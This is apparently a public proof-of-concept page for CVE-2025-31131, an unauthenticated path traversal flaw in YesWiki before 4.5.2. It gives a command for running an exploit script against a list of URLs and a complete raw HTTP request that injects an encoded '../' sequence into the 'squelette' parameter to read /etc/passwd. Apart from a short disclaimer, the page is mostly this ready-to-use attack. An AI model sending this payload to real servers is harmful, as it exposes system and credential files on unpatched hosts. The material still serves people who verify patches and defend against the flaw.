CVE-2025-31131 PoC — Path Traversal allowing arbitrary read of files in Yeswiki

Source

Associated Vulnerability

Description

YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

Readme

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# CVE-2025-31131 - YesWiki < 4.5.2 Path Traversal Exploit

This is an unauthenticated path traversal exploit targeting YesWiki versions prior to 4.5.2. The vulnerability exists in the `squelette` parameter, which allows reading arbitrary files from the server.

## Vulnerability Details

- CVE-ID: CVE-2025-31131
- Affected Software: YesWiki < 4.5.2
- Type: Path Traversal
- Severity: High (CVSS: 8.6)
- Reference: https://github.com/advisories/GHSA-w34w-fvp3-68xm

## Usage

`python3 exploit.py -l urls.txt`
![image](https://github.com/user-attachments/assets/1aa33b6c-585c-4244-b2c5-635bffc3af0f)

Here is a second method to exploit manually using Burp:

```
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
```
![image](https://github.com/user-attachments/assets/bcdd29b6-94ac-4578-8763-ba304df0da61)

**Disclaimer**: This is strictly for educational purposes only.

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File Snapshot

 [4.0K]  /data/pocs/47fdf39106714191d874af3b3913dcdee6119ed6
├── [3.9K]  exploit.py
└── [1.5K]  README.md

0 directories, 2 files

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